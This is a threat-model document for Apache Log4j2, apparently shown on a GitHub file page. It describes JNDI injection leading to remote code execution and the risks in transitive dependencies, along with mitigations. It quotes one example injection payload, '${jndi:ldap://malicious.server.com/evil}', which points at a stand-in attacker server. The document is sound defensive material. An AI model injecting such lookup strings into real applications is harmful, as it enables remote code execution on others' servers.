Skip to content

Latest commit

 

History

History
34 lines (29 loc) · 4.43 KB

threat-modeling.md

File metadata and controls

34 lines (29 loc) · 4.43 KB

Threat Model Analysis for apache/logging-log4j2

Threat: JNDI Injection leading to Remote Code Execution (RCE)

  • Threat: JNDI Injection RCE
  • Description: An attacker can inject a malicious JNDI lookup string (e.g., ${jndi:ldap://malicious.server.com/evil}) into log messages. When Log4j2 processes this message, it attempts to resolve the JNDI lookup, potentially connecting to a malicious server controlled by the attacker. The attacker's server can then provide a malicious payload, leading to arbitrary code execution on the application server. This is often achieved by exploiting input fields that are logged without proper sanitization.
  • Impact: Complete compromise of the server, allowing the attacker to execute arbitrary commands, install malware, steal sensitive data, or cause a denial of service.
  • Affected Log4j2 Component:
    • Lookup mechanism, specifically JndiLookup class.
    • Pattern Layout used to format log messages.
    • Appenders that process and output log messages.
  • Risk Severity: Critical
  • Mitigation Strategies:
    • Upgrade Log4j2: Immediately upgrade to the latest patched version of Log4j2 (e.g., 2.17.1 or later for 2.x branch, 2.12.4 or later for 2.12.x branch, 2.3.2 or later for 2.3.x branch).
    • Disable JNDI Lookups: Set the system property log4j2.formatMsgNoLookups to true to globally disable message lookup substitution, including JNDI.
    • Remove JndiLookup Class: If upgrading is not immediately possible, remove the vulnerable JndiLookup class from the classpath using zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
    • Network Segmentation: Restrict outbound network access from application servers to limit JNDI lookups to external, potentially malicious servers.
    • Web Application Firewall (WAF): Deploy a WAF to detect and block requests containing JNDI lookup patterns.

Threat: Dependency Chain Vulnerabilities leading to High or Critical Impact

  • Threat: Critical Dependency Chain Vulnerabilities
  • Description: Log4j2 relies on other libraries (transitive dependencies). If a critical vulnerability exists in one of these dependencies and is exploitable within the context of Log4j2's usage of that dependency, it poses a significant threat. An attacker could exploit this transitive vulnerability through Log4j2, even if the core Log4j2 library itself is patched against other known vulnerabilities. This requires understanding Log4j2's dependency tree and monitoring for vulnerabilities in those dependencies.
  • Impact: Varies depending on the specific dependency vulnerability, but can include Remote Code Execution, significant data breaches, or widespread Denial of Service, mirroring the impact of direct Log4j2 vulnerabilities.
  • Affected Log4j2 Component:
    • Log4j2 Dependencies (transitive dependencies) that contain vulnerabilities.
    • Potentially any Log4j2 component that utilizes the vulnerable dependency in an exploitable way.
  • Risk Severity: High to Critical (depending on the specific dependency vulnerability)
  • Mitigation Strategies:
    • Dependency Scanning and Management: Regularly scan application dependencies, including transitive dependencies of Log4j2, for known vulnerabilities using tools like dependency-check, Snyk, or OWASP Dependency-Track. Focus on identifying and addressing high and critical severity vulnerabilities.
    • Keep Dependencies Up-to-Date: Update Log4j2 and all its dependencies to the latest versions to patch known vulnerabilities. Utilize dependency management tools (Maven, Gradle) to manage and update dependencies effectively.
    • Vulnerability Monitoring: Continuously monitor for new vulnerabilities affecting Log4j2 and its dependencies through security advisories and vulnerability databases. Subscribe to security mailing lists and use automated vulnerability monitoring services.
    • Isolate Vulnerable Dependencies: If a critical vulnerability is found in a dependency and an immediate update is not possible, explore options to isolate or mitigate the vulnerable dependency's usage within Log4j2 if feasible. This might involve configuration changes or code modifications, but should be approached with caution and thorough testing.